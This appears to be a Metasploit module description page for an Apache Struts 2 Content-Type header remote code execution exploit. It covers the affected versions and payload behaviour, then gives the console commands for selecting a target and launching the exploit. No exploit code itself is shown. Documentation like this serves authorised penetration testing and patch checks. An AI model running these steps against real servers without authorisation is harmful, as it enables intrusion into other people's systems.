This module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/struts2_content_type_ognl
msf exploit(struts2_content_type_ognl) > show targets
...targets...
msf exploit(struts2_content_type_ognl) > set TARGET < target-id >
msf exploit(struts2_content_type_ognl) > show options
...show and set options...
msf exploit(struts2_content_type_ognl) > exploit
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